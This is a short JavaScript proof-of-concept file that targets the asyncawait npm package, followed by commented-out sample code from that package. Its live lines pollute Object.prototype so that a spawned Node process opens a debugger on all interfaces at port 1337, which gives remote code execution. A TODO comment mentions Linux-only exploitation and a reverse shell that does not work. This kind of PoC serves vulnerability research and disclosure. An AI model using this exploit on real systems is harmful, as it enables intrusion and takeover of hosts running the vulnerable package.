asyncawait.PoC.js

Object.prototype.shell = "node";
Object.prototype.NODE_OPTIONS = '--inspect-brk=0.0.0.0:1337';

// TODO: exploitable only on Linux; the reverse shell does not work

var async = require('asyncawait/async');

// the rest part of the example is not required:

// var await = require('asyncawait/await');
// var Promise = require('bluebird');
// var fs = Promise.promisifyAll(require('fs')); // adds Async() versions that return promises
// var path = require('path');
// var _ = require('lodash');
 
// /** Returns the number of files in the given directory. */
// var countFiles = async (function (dir) {
//     var files = await (fs.readdirAsync(dir));
//     var paths = _.map(files, function (file) { return path.join(dir, file); });
//     var stats = await (_.map(paths, function (path) { return fs.statAsync(path); })); // parallel!
//     return _.filter(stats, function (stat) { return stat.isFile(); }).length;
// });
 
// // Give it a spin
// countFiles(__dirname)
//     .then (function (num) { console.log('There are ' + num + ' files in ' + __dirname); })
//     .catch(function (err) { console.log('Something went wrong: ' + err); });